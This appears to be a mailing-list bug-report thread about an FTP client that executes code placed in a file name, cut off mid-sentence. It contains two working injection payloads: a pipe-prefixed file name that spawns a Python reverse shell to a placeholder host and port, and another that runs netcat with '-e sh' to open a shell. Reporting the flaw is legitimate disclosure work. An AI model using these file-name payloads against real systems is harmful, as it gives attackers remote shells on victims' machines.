FTP client arbitrary code execution

2021-09-19 Thread John Zhau
I've found that with a certain file name, `ftp` executes code in the file name. The file is created with the following command ``` touch "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"YOUR_IP\",YOUR_PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")';echo .csv" ```

Re: FTP client arbitrary code execution

2021-09-19 Thread John Zhau
After some further testing, I've found that I'm still able to get a shell with the aforementioned payload even with other files in the same directory. I've also found that I can also get a shell with the following file name: ``` |nc 127.0.0.1 1337 -e sh ``` As a result, I believe code execution